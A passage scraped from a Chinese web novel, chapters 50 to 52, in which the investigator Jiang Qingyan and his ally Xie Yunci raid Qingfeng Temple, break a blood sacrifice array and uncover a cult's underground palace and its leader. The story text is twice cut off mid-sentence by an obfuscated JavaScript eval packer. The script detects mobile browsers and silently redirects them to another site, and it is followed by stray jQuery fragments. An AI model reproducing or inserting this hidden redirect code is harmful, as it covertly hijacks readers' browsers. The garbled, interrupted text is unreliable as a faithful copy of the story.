他仔细看那个符号,发现铜钱的方孔位置,点了一个极小的点。他拿来纸笔,将铜钱的图案画下来,然后在方孔处标上那个点。 如果这是一个坐标…… 江清砚拿出京城地图,将铜钱图案按比例放大,覆盖在地图上。铜钱的边缘正好对应城墙,而那个点,指向的位置是—— 城北,清风观! 赵四被转移到了清风观?或者说……被带到了清风观? 江清砚感到一股寒意。清风观,又是清风观。那些富商失踪前去过的地方,现在连盐税案的关键证人也被带到了那里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863526|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个道观,到底藏着什么秘密? 他迅速将卷宗整理好,正要出门去找周尚书,门却从外面被推开了。 进来的是林远,那个昨天给他送卷宗的年轻主事。林远的神色有些慌张,见江清砚在,明显一愣:“江、江郎中,您怎么在这里?” “查案,”江清砚不动声色,“林主事有事?” “周尚书让我来取陈侍郎案的卷宗,”林远避开他的目光,“说他要亲自复核。” “正好,我也要去见尚书大人,”江清砚抱起那摞卷宗,“一起吧。” “这……”林远犹豫了一下,最终点头,“好。” 两人一前一后走向周尚书的值房。途中,江清砚注意到林远的手指一直在无意识地摩挲着袖口,显然很紧张。 快到值时,林远忽然低声说:“江郎中,陈侍郎他……死得蹊跷。您查案时,千万小心。” 江清砚看了他一眼:“林主事知道什么?” 林远张了张嘴,似乎想说什么,但最终只是摇头:“下官什么都不知道。只是……提醒您一句。” 说完,他加快脚步,走到了前面。 江清砚看着他的背影,心中疑窦丛生。这个林远,到底是谁的人? 周尚书的值房里,气氛凝重。周文渊显然一夜未睡,眼中有血丝,但神色依旧镇定。见到江清砚抱着卷宗进来,他示意林远出去,然后关上了门。 “江郎中,你查到什么了?”周文渊开门见山。 江清砚将铜钱符号和清风观的发现说了,周文渊的脸色越来越沉。 “清风观……”他喃喃道,“三年前,那里曾经申请扩建,但工部驳回了,理由是‘地脉不稳,不宜动土’。当时负责审核的,就是陈文远。” “地脉不稳?”江清砚想起八芒星阵需要灵脉节点的说法。 “对,”周文渊走到书架前,取出一份工部的旧档案,“你看这个。” 档案里是一份风水勘测报告,说清风观所在地是“阴煞汇聚之处,地气紊乱,不宜居住,更不宜修建道观”。但奇怪的是,清风观明明已经存在了上百年。 “这份报告是二十年前的,”周文渊说,“但清风观的历史,可以追溯到前朝。如果那里真的不宜修建,为什么能存在这么久?” 江清砚心中一动:“除非……那里原本就是故意选在阴煞之地的。就像慈恩寺,建在古战场遗址上一样。” 周文渊看着他,眼中闪过一丝赞赏:“你果然聪明。没错,慈恩寺和清风观,都是前朝‘烛龙教’的据点。本朝建立后,这些地方被改为佛寺道观,但很可能……一直没真正改过来。” 烛龙教,烛龙之眼。 一切都串联起来了。 “所以清风观现在,很可能就是‘烛龙之眼’的一个重要据点,”江清砚分析,“那些富商被带去那里,盐税案的证人也被带到那里。而陈文远,因为审核过扩建申请,知道了些什么,所以被灭口了。” “那接下来,他们想做什么?”周文渊问。 江清砚将八芒星阵的推测说了。周文渊听完,沉默了很久。 “如果真是这样,那他们的目标,可能不止是复活或召唤什么,”周文渊的声音低沉,“八芒星阵逆转生死,需要的能量极大。八个特定血脉的人献祭,可能只是第一步。” “还有第二步?” 周文渊走到窗边,看着外面的天空:“古籍记载,逆转生死是大逆不道之举,必遭天谴。但如果……用龙气镇之呢?” 龙气? 江清砚猛然想起,八芒星的中心是京城,而京城是皇城所在,有天子龙气镇守。 “您的意思是……他们想用天子龙气,来抵消天谴?” “不止,”周文渊回头看他,眼中是前所未有的凝重,“他们可能想……借龙气,完成某种更可怕的仪式。” 话音未落,门外突然传来急促的敲门声。 “尚书大人!江郎中!出事了!” 是林远的声音,带着惊恐。 周文渊和江清砚对视一眼,同时冲向门口。 门开了,林远脸色煞白,指着外面:“刚、刚才有人送来一封信,说……说如果不想清风观里的人死,就让江郎中一个人去……” 清风观里有人? 江清砚接过信,上面只有一行字: “午时三刻,清风观,独自前来。过时,八人皆亡。” 落款处,画着一只燃烧的眼睛。 八个人……是那七个富商,还有赵四? 或者……还有别人? 江清砚看了一眼窗外的日头——已经快午时了。 “你不能去,”周文渊立刻说,“这是陷阱。” “我知道,”江清砚将信折好,放入怀中,“但必须去。” “江清砚!” “周尚书,”江清砚看着他,眼神清澈而坚定,“如果我不去,那八个人会死。而且……这是抓住他们尾巴的最好机会。” 他顿了顿,补充道:“我会小心的。而且……我不是一个人。” 周文渊明白了他的意思——谢云辞在外面。 “好,”周文渊最终点头,“但你要答应我,一旦有危险,立刻撤出。我会调集刑部的人手,在清风观外围接应。” “谢尚书。” 江清砚行礼,转身快步走出值房。 午时的阳光刺眼,但他的心却异常冷静。 清风观,终于要去了。 51. 第 51 章 第五十一章道观探秘 午时的京城,秋阳高悬。 江清砚走出刑部衙门时,街对面的茶摊已经换了人——一个卖糖葫芦的小贩正扯着嗓子吆喝。他扫了一眼,没看到谢云辞,但注意到小贩在看到他时,微不可察地点了点头。 是谢云辞的人。 江清砚放心了些,雇了一辆不起眼的青布马车,吩咐车夫:“去城北清风观。” 马车缓缓驶动,车轮碾过青石板路,发出单调的声响。江清砚坐在车厢里,闭目凝神,感受着心脉处的青木生机——虽然还未完全恢复,但足以应对一般的突发状况。袖中的匕首和几包应急的毒粉、解药都已备好。 约莫一刻钟后,马车停下。车夫在外头说:“郎君,清风观到了。不过这里看着……怪冷清的。” 江清砚掀开车帘。清风观确实很冷清,甚至可以说是荒凉。观门是破旧的黑漆木门,油漆剥落得厉害;门楣上“清风观”三个字的牌匾歪斜着,蒙着厚厚的灰尘。门前的石阶长满青苔,一看就少有人来。 但江清砚注意到,门前的青苔上有几道新鲜的脚印——不止一个人的。 他付了车钱,等马车走远,才走向观门。推开门时,吱呀声在寂静中格外刺耳。 观内是个不大的院子,正中是个香炉,炉里没有香火,积满了雨水和落叶。两侧是厢房,门窗紧闭。正对着的是三清殿,殿门虚掩着,里面黑漆漆的,看不清状况。 没有香客,没有道士,甚至没有鸟鸣。整座道观静得诡异。 “有人吗?”江清砚扬声问。 无人应答。 他握紧袖中的匕首,缓步走向三清殿。推开殿门的瞬间,一股陈腐的香灰味扑面而来。殿内光线昏暗,三清神像的漆金已经剥落大半,供桌上的蜡烛早已燃尽,烛泪凝固成丑陋的形状。 但江清砚的目光落在了供桌下方——那里有一块地砖的边缘,颜色比旁边的略浅。 他走过去,蹲下身仔细查看。地砖的边缘有磨损的痕迹,像是经常被挪动。他伸手推了推,地砖微微松动。 是暗道。 江清砚没有立刻打开,而是先检查了周围。殿内没有其他人,但他在香炉的灰烬里,发现了一小片未燃尽的符纸——纸上画着一只眼睛,和信上的一模一样。 果然是这里。 他回到地砖处,用力推开。地砖下露出一个黑洞洞的入口,一道石阶蜿蜒向下,深不见底。有微弱的风从下面吹上来,带着一股潮湿的泥土味和……隐隐的血腥味。 江清砚的心沉了下去。那八个人,很可能就在下面。 他从怀中取出火折子吹亮,一手握匕首,一手持火折,踏上了石阶。 石阶很陡,向下延伸了约莫三丈深,然后是一条狭窄的通道。通道两侧是粗糙的石壁,壁上每隔一段就有一个灯座,但灯油已经干涸。火折的光只能照亮眼前一小片区域,更深处是一片漆黑。 走了大约五十步,通道开始转弯。江清砚屏住呼吸,放轻脚步。转过弯后,前方豁然开朗——是一个天然的石室,有半个三清殿那么大。 石室中央,八个人被铁链锁在石柱上。正是名单上的七个富商,还有一个穿着粗布衣服、瘦骨嶙峋的中年男人,应该就是盐税案的证人赵四。 八个人都昏迷着,脸色灰败,但还有呼吸。 江清砚正要上前查看,忽然听到身后传来轻微的响动。他猛地回头,火光照亮的范围内空无一人,但那声音…… “江郎中果然守信。” 一个嘶哑的声音从黑暗中传来。紧接着,石室四角的灯盏同时亮起——不是点燃的,而是某种发光的石头,散发出幽绿的光,将整个石室映照得如同鬼蜮。 从阴影中走出三个人。为首的是个身穿灰色道袍的老道,面容枯槁,眼神却异常锐利;左侧是个中年妇人,穿着朴素的布裙,但手上戴着一枚玉扳指,显然身份不一般;右侧是个年轻人,江清砚认识——正是刑部的林远! 林远看到江清砚,眼神躲闪,不敢与他对视。 “林主事,”江清砚声音平静,“原来你也是‘烛龙之眼’的人。” 林远嘴唇动了动,没说话。 老道却笑了,笑声嘶哑难听:“江郎中好眼力。不过现在才看出来,已经晚了。” “你们想做什么?”江清砚一边问,一边不动声色地观察着周围。石室只有他进来的那条通道,但对方三人能悄无声息地出现,肯定还有其他出口。 “献祭,”老道直截了当,“用这八个人的血脉,完成八芒星阵的最后一环。而你……”他盯着江清砚,眼中闪过贪婪,“江家的血脉,青木生机,是最好的祭品引子。” 江清砚心中冷笑。果然是为了他的血脉。 “既然我来了,放了他们。”他说。 “放了他们?”中年妇人开口,声音冰冷,“江郎中,你未免太天真了。这八个人,每个都是精心挑选的‘引’,少了任何一个,阵法都无法完成。” “那你们想要我如何?” “很简单,”老道从袖中取出一把匕首,扔到江清砚脚前,“用这把匕首,刺入你的心口,取三滴心头血。你的青木生机会自动修复伤口,不会要你的命。用这三滴血作为引子,启动阵法后,我们就放了这八个人。” 江清砚看着地上的匕首。匕首很普通,但刃口泛着诡异的蓝光——涂了毒,而且是专门针对青木生机的毒。 一旦刺入,青木生机可能真的无法修复。 “我凭什么信你们?”他问。 “你只能信,”老道的声音冷了下来,“否则,这八个人现在就得死。你每拖延一刻钟,我们就杀一个人。” 话音未落,中年妇人已经走到一个富商身边,手中多了一把短刀,抵在那人的喉咙上。 江清砚的呼吸急促起来。八条人命…… “好,”他弯腰捡起匕首,“我答应。但你们要先放了赵四,他是盐税案的证人,与你们的阵法无关。” 老道和中年妇人对视一眼,似乎在交流什么。片刻后,老道点头:“可以。林远,去放了赵四。” 林远走到赵四身边,解开铁链。赵四软软地倒在地上,依旧昏迷不醒。 “现在,该你了。”老道盯着江清砚。 江清砚握紧匕首,缓缓抬起,对准自己的心口。他的动作很慢,像是在犹豫,实际上是在拖延时间——谢云辞应该已经在外面了,他需要制造机会。 就在这时,异变突生! 石室顶部的阴影中,突然射下三支弩箭,直取老道、中年妇人和林远!同时,江清砚身后的通道里传来急促的脚步声——谢云辞带着人冲了进来! “动手!”谢云辞厉喝。 六扇门的高手如狼似虎般扑向三人。老道反应极快,身形暴退,同时甩出一把毒粉;中年妇人则与冲在最前的捕快战在一起;林远却愣在原地,被两个捕快轻易制住。 江清砚没有参与战斗,而是迅速冲到那七个富商身边,检查他们的状况。八个人都被下了药,昏迷不醒,但暂时没有生命危险。他取出随身携带的解毒丸,挨个塞进他们嘴里——不能完全解毒,但能暂时护住心脉。 “清砚,带他们走!”谢云辞一边与老道交手,一边喊道。 通道里又冲进来几个捕快,帮着江清砚解开铁链,背起昏迷的人往外撤。但就在这时,石室突然震动起来! “晚了!”老道狂笑,“阵法已经启动了!” 石室的地面上,突然亮起一道道血色的纹路——那是一个巨大的八芒星阵!八个石柱正好在阵法的八个角上,而阵法的中心,正是江清砚刚才站的位置! 那些血色纹路像是活过来一般,开始向中心汇聚。而被背出去的七个富商,突然全都睁开眼睛,眼中是一片诡异的血红! “不好!”江清砚意识到不对,“他们被控制了!” 七个富商猛地挣脱捕快的搀扶,如同提线木偶般僵硬地走回石室,重新站到各自的石柱位置。而阵法的中心,血色纹路已经汇聚成一个漩涡,散发出恐怖的吸力! “献祭开始!”老道的声音在震荡的石室中回荡,“以八人之血,开幽冥之门!” 八个富商同时用指甲划破自己的手腕,鲜血滴落,被地面的阵法迅速吸收。阵法的血色光芒越来越盛,那个漩涡开始扩大,里面传出令人毛骨悚然的嘶吼声,像是有什么东西要爬出来。 谢云辞想要冲过去破坏阵法,但被中年妇人死死缠住。其他捕快也被突然暴起的富商们挡住——这些被控制的人力大无穷,完全不顾自身安危,只攻不守,一时间竟拦住了所有人。 江清砚站在通道口,看着那个越来越大的血色漩涡,脑中飞快运转。八芒星阵,逆转生死,开幽冥之门……如果真让里面的东西出来,后果不堪设想。 他想起《星相阵法考》中的记载:八芒星阵一旦启动,极难中断,除非…… 除非用更强的生机,强行冲散阵法的死气! 更强的生机……青木生机完全觉醒? 江清砚的心一横。他看向谢云辞,后者正与中年妇人激战,肩头已经受了伤,但眼神依旧坚定。两人的目光在空中交汇,瞬间明白了对方的意思。 谢云辞突然暴起,一刀逼退中年妇人,同时甩出三枚袖箭射向老道。老道不得不分神躲避,阵法的光芒微微一滞。 就是现在! 江清砚冲向阵法中心。老道发现他的意图,厉声喝道:“拦住他!” 中年妇人想要阻拦,却被谢云辞死死缠住。其他被控制的富商也扑向江清砚,但江清砚的身形忽然变得飘忽不定——他将青木生机催动到极致,速度、反应都提升了一个层次,险之又险地避开了所有拦截。 冲到阵法中心时,血色漩涡已经扩大到一人多高,里面的嘶吼声几乎震耳欲聋。江清砚能感觉到,那里面的东西充满了怨毒和渴望,一旦出来,必将生灵涂炭。 他不再犹豫,咬破舌尖,以血为引,双手结印,将全部的青木生机灌注进脚下的阵法! “以我生机,镇汝死气——破!” 青色的光芒从他身上爆发,如同初春的第一缕阳光,温柔却不容抗拒地冲向血色漩涡。两股力量相撞,发出恐怖的轰鸣声,整个石室剧烈震动,碎石纷纷落下。 老道脸色大变:“你疯了!强行中断阵法,你会被反噬而死的!” 江清砚没有理会。他能感觉到青木生机正在迅速消耗,心脉处传来撕裂般的剧痛,但他不能停。八个富商的眼中,血色开始褪去,渐渐恢复了清明;地面的血色纹路也在青光的冲击下寸寸断裂。 但漩涡里的东西不甘心,它嘶吼着,挣扎着,想要冲破最后一点封印。 就在江清砚感到力竭时,一股温暖的力量从背后传来——谢云辞的手按在了他的背上,将自己的内力毫无保留地渡了过去。 “我们一起。”谢云辞的声音坚定。 两人的力量合二为一,青光大盛,终于将血色漩涡彻底冲散! “轰——!” 一声巨响,阵法炸裂,血色纹路 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江清砚靠在谢云辞怀里,脸色苍白如纸,嘴角渗出血丝——强行催动青木生机中断阵法,让他受了不轻的内伤。但他顾不上自己,急声问:“那八个人……” “都没事,只是昏迷,”谢云辞检查了他的脉搏,眉头紧皱,“你的伤更重。必须立刻回去疗伤。” “林远呢?” “抓住了,已经押回六扇门了。”谢云辞看着怀里的江清砚,眼中满是心疼和后怕,“你太乱来了。如果不是我及时赶到……” “我知道你会来,”江清砚虚弱地笑了笑,“所以才敢放手一搏。” 谢云辞叹了口气,将人打横抱起:“别说话了,我们回去。” “等等,”江清砚忽然想起什么,“那个暗门……他们逃去哪里了?” 一个捕快上前禀报:“大人,暗门通向一条地下河,我们追到河边就断了线索。他们可能坐船走了。” 地下河……江清砚想起京城地下确实有古河道。这些人对地形的熟悉,超出了他们的预料。 “先回去吧,”谢云辞道,“从长计议。” 一行人离开了已成废墟的清风观。走出观门时,江清砚回头看了一眼——这座存在了上百年的道观,就这样毁了。但毁掉的只是建筑,“烛龙之眼”这个组织,依然藏在暗处。 回到谢府时,已是傍晚。 谢云辞亲自为江清砚疗伤。青木生机虽然受损,但根基未毁,在谢云辞内力的温养下,正在缓慢恢复。太医来看过后,开了方子,叮嘱必须静养半个月,绝不能再动用内力。 江清砚靠在床头,看着窗外渐暗的天色,忽然道:“林远……会说出多少?” “已经在审了,”谢云辞端来药碗,“但他是小角色,知道的不多。真正关键的,是那个老道和中年妇人。” “查到他们的身份了吗?” “老道是清风观的观主,道号‘清风子’,在观中待了三十年。中年妇人……”谢云辞顿了顿,“是慈恩寺那个失踪方丈的妹妹。” 江清砚一怔。慈恩寺方丈的妹妹?难怪两人能分别掌控慈恩寺和清风观这两个据点。 “还有,”谢云辞的神色凝重起来,“从林远的初步供词看,‘烛龙之眼’在朝中的渗透,比我们想象的更深。六部之中,都有他们的人。” 江清砚的心沉了下去。如果连六部都被渗透,那这个组织的势力,恐怕真的到了可以动摇国本的地步。 “陛下知道了吗?” “我已经密奏了,”谢云辞喂他喝药,“陛下的意思是……暂时按兵不动,暗中调查,等摸清了所有脉络,再一网打尽。” “那八个富商和赵四呢?” “都安顿好了,派人保护着,”谢云辞放下药碗,“赵四已经醒了,但吓得不轻,说话颠三倒四的。不过从他断断续续的供词里,我们确认了一件事——江南盐税亏空的那三十万两,确实流向了‘烛龙之眼’,被他们用来购买物资、收买官员、还有……修建地下工事。” “地下工事?” “对,”谢云辞压低声音,“赵四说,他在被关押期间,隐约听到老道和中年妇人提起什么‘地宫’‘祭坛’‘龙脉节点’。他们可能在京城地下,修建了不止一处据点。” 京城地下…… 江清砚想起那条地下河,还有慈恩寺地下的溶洞。如果“烛龙之眼”真的在京城地下修建了一个庞大的网络,那他们的图谋,恐怕比想象的更可怕。 窗外,夜色已深。 谢云辞吹灭了多余的蜡烛,只留床前的一盏:“睡吧。今天太累了。” “你也休息。”江清砚看着他肩头的伤——已经重新包扎过,但纱布上还渗着血。 “我等你睡着。”谢云辞在床边坐下。 江清砚确实累了,闭上眼睛,很快就陷入了半睡半醒的状态。朦胧中,他感觉到谢云辞轻轻握住了他的手,温暖而坚定。 “我会保护你的,”谢云辞的声音很轻,像是在自言自语,“无论面对什么,我都会保护你。” 江清砚想说什么,但意识已经沉入了黑暗。 这一夜,他做了很多梦。梦见父母在大火中呼喊,梦见密室里的黑暗,梦见金銮殿上的刀光,梦见清风观的血色漩涡……最后,所有的梦境都汇聚成一个画面—— 谢云辞挡在他身前,背脊挺直,如同不可逾越的山岳。 他忽然觉得,只要有这个人在身边,再黑暗的路,也能走下去。 窗外,秋月如钩。 长夜漫漫,但黎明总会到来。 52. 第 52 章 第五十二章夜探道观 夜深人静,谢府书房内烛火通明。 江清砚靠在软榻上,肩头披着谢云辞的墨色外袍,手中摊着一卷刚送来的密报——是六扇门连夜审讯林远的记录。谢云辞坐在他对面,正用布巾擦拭绣春刀的刀身,刀光在烛火下泛着寒芒。 “林远招了,”江清砚放下密报,声音有些沙哑,“他说自己是三年前被‘烛龙之眼’胁迫加入的。他弟弟得了怪病,需要一种罕见的药材,只有‘烛龙之眼’能提供。” “借口。”谢云辞冷冷道,刀锋划过布巾,发出轻微的嘶声。 “也许,但至少说出了些有用的东西,”江清砚揉了揉眉心,青木生机受损带来的疲惫感还未完全消退,“他说清风观的地下,不止我们看到的那个石室。那里有更深的通道,通往一个被称为‘地宫’的地方。” “地宫?”谢云辞停下擦拭的动作。 “对,据说是前朝‘烛龙教’修建的祭祀场所,后来被废弃,但‘烛龙之眼’这几年一直在暗中修复,”江清砚看向谢云辞,“林远说,地宫里供奉着‘烛龙之眼’的圣物,也是他们仪式的核心。” 谢云辞的眼中闪过一丝锐利:“圣物?是什么?” “他没资格进地宫,不清楚具体是什么,”江清砚摇头,“但他见过进出地宫的人——除了清风子和那个中年妇人,还有一个……太监。” “太监?”谢云辞猛地抬头。 “嗯,五十多岁,面白无须,说话尖细,但林远没看清长相,”江清砚顿了顿,“他说那太监的气度,不像是普通的内侍,倒像是……宫里有些地位的人。” 书房内的空气骤然凝固。 如果“烛龙之眼”真的渗透到了宫中,甚至可能有太监是他们的高层,那这个组织的威胁,就不仅仅是江湖邪教那么简单了。 “还有,”江清砚继续道,“林远供出了一个名字——‘玄机道人’。说此人是‘烛龙之眼’在京城的总联络人,所有的命令都是通过他下达的。但没人见过他的真面目,他总是戴着面具,声音也经过伪装。” 玄机道人…… 谢云辞将绣春刀归鞘,站起身走到窗边,看着外面沉沉的夜色:“清风观被毁,他们肯定会转移据点。要找到这个玄机道人,就得抓紧时间。” “你的意思是……” “夜探道观,”谢云辞回头,眼中闪着决断的光芒,“趁他们还没完全撤走,找到通往地宫的入口。” “太危险了,”江清砚蹙眉,“清风观刚塌,他们肯定加强了戒备。而且你的伤……” “皮肉伤,不碍事,”谢云辞走回软榻边,俯身看着江清砚,“你留在这里,我带上几个好手去。” “不行,”江清砚摇头,“我对阵法机关了解比你多,地宫里很可能有这些东西。而且……”他看着谢云辞肩头渗血的纱布,“你受伤了,需要有人照应。” 谢云辞还想说什么,江清砚已经起身,走到书架前取下一卷图纸:“这是工部存档的京城地下河道图。如果清风观真有地宫,很可能会利用古河道作为通道。我们得先研究清楚路线。” 谢云辞看着他坚定的侧脸,知道劝不住,最终叹了口气:“好,一起去。但你必须答应我,一旦有危险,立刻撤出。” “成交。” 两人开始研究地图。京城的地下河道系统很复杂,是前朝修建的排水系统,后来部分被废弃,成了隐秘的地下通道。清风观所在的位置,恰好有一条古河道的支流经过。 “如果地宫是利用古河道修建的,那入口可能不止一个,”江清砚指着地图上的几个标记点,“除了清风观,慈恩寺、城西土地庙,还有这几处废弃的宅院,都可能隐藏着入口。” “但最可能的还是清风观,”谢云辞道,“那里是他们经营多年的据点,地宫的核心应该就在下面。” 两人商量了详细的计划,决定子时出发。谢云辞去调集人手,江清砚则准备可能用到的物品——解毒丸、伤药、火折、绳索,还有几包特制的毒粉和迷烟。 戌时三刻,一切准备就绪。谢云辞挑了六个最可靠的亲卫,都是六扇门的好手,擅长潜行和暗杀。七个人全部换上夜行衣,蒙面,只露出眼睛。 “大人,都准备好了,”为首的亲卫叫陈七,是个精瘦的中年人,眼神锐利如鹰,“外围已经安排了接应的人手,一旦有变,会立刻支援。” “好,”谢云辞点头,看向江清砚,“走吧。” 夜色如墨,月隐星稀。 八道黑影悄无声息地穿过街巷,如同融入夜色的鬼魅。避开巡夜的更夫和士兵,两刻钟后,他们来到了清风观外围。 观已成废墟,断壁残垣在夜色中如同巨兽的骨骸。但废墟周围,却异常安静——连虫鸣都没有。这是一种危险的信号,说明附近有人,而且不少。 谢云辞打了个手势,陈七带着两个人先摸了过去。片刻后,陈七返回,低声道:“大人,废墟周围有暗哨,八个方位各有一人,都是好手。” “能解决吗?”谢云辞问。 “可以,但需要时间,而且不能保证不惊动里面的人。” 江清砚忽然开口:“用迷烟。我带了‘醉清风’,随风扩散,半刻钟内能让方圆三十丈内的人昏睡两个时辰。” 谢云辞看了他一眼:“你准备得倒是周全。” “习惯了。”江清砚从怀中取出几个小竹管,分给陈七等人,“上风处点燃,等半刻钟再进去。” 陈七领命而去。半刻钟后,谢云辞打了个手势,众人悄无声息地潜入废墟。 果然,暗哨都倒在了隐蔽处,陷入沉睡。江清砚检查了一个暗哨的脉搏,确认只是昏迷,便示意继续前进。 废墟中央,三清殿的残骸下,那个暗道入口还在,但被落下的梁柱和瓦砾半掩着。陈七带人清理出一个仅容一人通过的缝隙。 “我先进,”谢云辞低声道,“陈七,你殿后。其他人中间保护江郎中。” “是。” 谢云辞率先钻入缝隙,江清砚紧随其后。暗道里比白天时更黑,更压抑。火折的光只能照亮前方几步,空气中弥漫着灰尘和血腥的混合气味。 走了约莫五十步,来到了白天那个坍塌的石室前。石室已经完全被埋,通道也被堵了大半,但谢云辞在石壁上摸索了一会儿,找到了一处松动的砖块。 按下砖块,旁边一块石壁悄无声息地滑开,露出另一条通道——比之前的更窄,更陡峭,一直向下延伸。 “果然有暗门。”谢云辞示意众人跟上。 这条通道明显是新近开凿的,石壁上还有凿痕。走了约莫一百步,前方传来潺潺水声——是地下河。 通道尽头是一个天然溶洞,一条暗河从中穿过。河面不宽,约两丈,水流平缓,水色漆黑如墨,在火折的照耀下泛着诡异的光。 “大人,这里有船。”陈七在河边发现了一条小木船,船上还有桨。 谢云辞检查了船,确认没有机关,率先上船:“上船,顺着水流走。” 八个人分乘两条船,顺流而下。暗河蜿蜒曲折,两侧石壁上偶尔能看到人工开凿的痕迹,甚至有几处地方还嵌着发光的石头,提供微弱的光线。 划了约莫一刻钟,前方豁然开朗——河道汇入一个巨大的地下湖泊。湖中央,一座石砌建筑矗立在水面上,如同一座水上宫殿。 那就是地宫。 地宫不大,但建筑精美,飞檐斗拱,雕梁画栋,完全不像地下建筑。宫殿四周有石桥与岸边相连,但桥上都有守卫——不是活人,而是一具具穿着盔甲的骷髅,手持长矛,静静地站立着。 “那是……”江清砚瞳孔一缩。 “傀儡兵,”谢云辞的声音凝重,“前朝秘术,用机关驱动尸骸作战。没想到‘烛龙之眼’连这个都会。” 两条船在岸边停下。众人上岸,隐藏在暗处观察。 地宫的大门紧闭,门上雕刻着一只巨大的眼睛图案,瞳孔处是两个凹槽,形状奇特,似乎需要什么钥匙才能打开。 “那是……”江清砚盯着那两个凹槽的形状,忽然想起什么,从怀中取出青木玉佩,“其中一个,好像能对上。” 他将玉佩按在左侧凹槽上,严丝合缝。 “需要两把钥匙,”谢云辞明白了,“另一把,应该是谢家的玄铁兵符。” 难怪“烛龙之眼”千方百计要得到这两样东西。没有钥匙,他们进不了地宫的核心。 “现在怎么办?”陈七低声问。 谢云辞沉思片刻:“既然来了,就不能空手而回。地宫肯定有其他入口,或者……” 他的话还没说完,地宫的大门突然缓缓打开了! 不是有人从里面打开,而是自动开启。门内一片漆黑,仿佛一张巨口,等待着吞噬进入者。 “陷阱?”江清砚警惕地说。 “可能是,但也可能是机会,”谢云辞握紧刀柄,“来都来了,进去看看。陈七,你带两个人守在外面,其余人跟我进去。” “大人,太危险了!” “执行命令。” 陈七无奈,只能点头。 谢云辞和江清砚带着另外三个亲卫,小心翼翼地走向大门。走过那些傀儡兵时,江清砚注意到,这些骷髅的眼窝里,都镶嵌着那种发光的石头,散发出幽绿的光,如同活物的眼睛。 踏入大门,是一条长长的甬道。甬道两侧的墙壁上雕刻着壁画,描绘着古老的祭祀场景:人们跪拜在一只巨大的眼睛前,献上祭品;眼睛中射出光芒,笼罩着跪拜者;然后那些人就……变成了怪物? 江清砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863528|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细看那些壁画,越看越心惊。这似乎是在描述某种“恩赐”——将人改造成更强大的存在,但代价是失去自我,成为眼睛的奴仆。 “这是邪术,”谢云辞冷声道,“前朝灭亡,和这种邪术脱不了干系。” 走到甬道尽头,是一个巨大的圆形殿堂。殿堂中央是一个祭坛,坛上供奉着一尊雕像——不是神佛,而是一只巨大的眼睛,由某种黑色玉石雕成,瞳孔处镶嵌着一颗血红色的宝石,在黑暗中散发着妖异的光芒。 而祭坛前,站着一个人。 那人背对着他们,身穿黑色长袍,头发花白,身形佝偻。听到脚步声,他缓缓转过身来。 看到那张脸的瞬间,江清砚和谢云辞同时一震—— 是王书吏! 那个在刑部待了二十年,沉默寡言,看似平凡无奇的王书吏! “王书吏……”江清砚的声音有些干涩。 王书吏看着他们,脸上露出一个诡异的笑容:“江郎中,谢大人,老朽等你们很久了。” “你就是玄机道人?”谢云辞的刀已经出鞘半寸。 “正是,”王书吏——或者说玄机道人——坦然承认,“在刑部待了二十年,终于等到了江谢两家的传人齐聚。真是……天意啊。” 他的目光落在江清砚胸前的青木玉佩上,眼中闪过贪婪:“江家的钥匙带来了,谢家的呢?” “你不配知道。”谢云辞冷声道。 “呵呵,”玄机道人笑了,“没关系,只要你们人来了,钥匙迟早能拿到。” 他拍了拍手,殿堂四周的阴影中,突然走出十几个人——有男有女,有老有少,全都眼神空洞,面无表情,如同行尸走肉。 “这些是‘烛龙之眼’最忠诚的信徒,”玄机道人的声音带着狂热,“他们自愿献出自我,获得‘圣眼’的恩赐,成为了超越凡人的存在。很快,你们也会成为他们的一员。” “做梦。”谢云辞的刀完全出鞘。 “那就试试吧,”玄机道人退到祭坛后,“抓住他们,要活的。” 那些信徒如同收到命令的傀儡,同时扑了上来! 战斗瞬间爆发。 这些信徒的身手诡异,力大无穷,而且完全不知疼痛,即使受伤也继续攻击。谢云辞和三个亲卫陷入苦战,江清砚则被护在中间,用毒粉和暗器辅助。 但敌人太多了,而且源源不断。更可怕的是,祭坛上那只眼睛雕像,开始散发出红色的光晕,照射在信徒身上,他们的力量似乎又增强了几分。 “必须破坏那个雕像!”江清砚喊道。 谢云辞一刀砍翻一个信徒,想要冲向祭坛,却被更多的信徒拦住。三个亲卫已经有一个倒下,另外两个也受伤不轻。 就在这时,江清砚注意到,那只眼睛雕像的瞳孔——那颗血红色宝石,似乎与青木玉佩产生了某种共鸣,正在微微发光。 他心一横,摘下玉佩,咬破手指,将血滴在玉佩上,然后用力将玉佩掷向雕像! “不要!”玄机道人惊呼。 但已经晚了。沾了血的青木玉佩撞在红色宝石上,发出刺眼的光芒。两种光芒交织、碰撞、然后—— “轰!!!” 宝石炸裂,雕像上的眼睛出现了一道裂痕。红色的光晕骤然消失,那些信徒的动作同时一滞,眼中的空洞变成了茫然。 “不——!”玄机道人惨叫着扑向雕像,但已经来不及了。裂痕迅速蔓延,整个雕像轰然崩塌! 雕像崩塌的瞬间,地宫开始剧烈震动。穹顶出现裂缝,碎石如雨般落下。 “地宫要塌了!”谢云辞一把抓住江清砚,“撤!” 众人转身就往外冲。那些信徒恢复了神智,惊恐地四散奔逃。玄机道人想要阻拦,但被一块落下的巨石砸中,惨叫声淹没在崩塌的轰鸣中。 